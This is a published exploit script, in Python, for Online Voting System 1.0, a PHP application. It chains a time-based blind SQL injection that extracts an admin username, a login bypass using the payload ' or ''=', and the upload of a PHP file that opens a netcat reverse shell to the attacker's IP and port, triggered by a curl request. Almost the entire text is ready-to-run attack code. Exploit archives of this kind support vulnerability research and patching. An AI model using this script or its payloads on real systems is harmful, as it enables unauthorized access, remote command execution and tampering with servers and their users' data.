Online Voting System 1.0 SQL Injection / Remote Code Execution

`# Exploit Title: Online Voting System 1.0 - SQLi (Authentication Bypass) + Remote Code Execution (RCE)  
# Exploit Author: Geiseric  
# Original Exploit Author: deathflash1411 - https://www.exploit-db.com/exploits/50076 - https://www.exploit-db.com/exploits/50075  
# Date 02.07.2021  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/4808/voting-system-php.html  
# Version 1.0  
# Tested on: Ubuntu 20.04  
  
import requests  
import os  
import sys  
from requests_toolbelt.multipart.encoder import MultipartEncoder  
import string  
import random  
  
  
  
  
if len(sys.argv) < 4:  
print('[+] Usage: python3 ovsploit.py http://<ip> <your ip> <your port>')  
exit()  
  
url = sys.argv[1]  
attacker_ip = sys.argv[2]  
attacker_port = sys.argv[3]  
  
  
exp_url = '/Online_voting_system/admin/save_candidate.php'  
login_url = '/Online_voting_system/admin/'  
  
  
def first_get():  
  
r = requests.get(url+login_url)  
return r.headers['Set-Cookie']  
  
  
def retrieve_first_admin():  
print("[!] Stage 1: Finding a valid admin user through SQL Injection")  
cookie = first_get()  
count = 0  
i=1  
flag = True  
admin = ''  
while flag:  
for j in range(32,128):  
r = requests.post(url+login_url,data={'UserName': """aasd' AND (SELECT 7303 FROM (SELECT(SLEEP(1-(IF(ORD(MID((SELECT IFNULL(CAST(UserName AS NCHAR),0x20) FROM users WHERE User_Type = "admin" LIMIT 0,1),"""+str(i)+""",1))="""+str(j)+""",0,1)))))PwbW)-- qRBs""",'Password': 'asd','Login':''},headers={"Cookie":cookie})  
if (r.elapsed.total_seconds() > 1):  
admin += chr(j)  
i+=1  
sys.stdout.write("\rAdmin User: "+ admin)  
sys.stdout.flush()  
count=0  
else:  
if count == 100:  
flag = False  
break  
else:  
count += 1  
print("\n[+] First admin user found!")  
print("[!] Starting Stage 2")  
return admin  
  
  
  
  
def id_generator(size=6, chars=string.ascii_lowercase):  
return ''.join(random.choice(chars) for _ in range(size))+'.php'  
  
  
  
def login_bypass(cookie):  
username = retrieve_first_admin()  
print("[!] Stage 2 started: Bypassing Login...")  
r = requests.post(url+login_url,data={'UserName': username,'Password': "' or ''='",'Login':''}, headers={'Cookie':cookie})  
return cookie  
  
  
  
def rev_write():  
name = id_generator()  
f = open(name,'w')  
f.write('<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ' +attacker_ip+ " " + attacker_port+' >/tmp/f"); ?>')  
f.close()  
print('[+] Generated file with reverse shell: ' +name)  
return name  
  
  
def exploit(cookie):  
print("[+] Uploading reverse shell...")  
filename=rev_write()  
multipart_data = MultipartEncoder(  
  
{  
# a file upload field  
'image': (filename, open(filename, 'rb'), 'application/x-php'),  
# plain text fields  
'user_name': 'admin',  
'rfirstname': 'test',  
'rlastname': 'test',  
'rgender': 'Male',  
'ryear': '1st year',  
'rmname': 'test',  
'rposition': 'Governor',  
'party': 'test',  
'save': 'save'  
}  
)  
r = requests.post(url+exp_url, data=multipart_data, headers={'Content-Type': multipart_data.content_type, 'Cookie':cookie})  
return filename  
  
  
  
  
filename = exploit(login_bypass(first_get()))  
print("[!] Triggering...")  
input('[+] Please start a listener on port ' + attacker_port +' then press Enter to get shell.')  
os.system('curl '+url+'/Online_voting_system/admin/upload/'+filename+' -m 1 -s')  
print("[+] Cleaning up!")  
  
os.system("rm "+ filename)  
  
`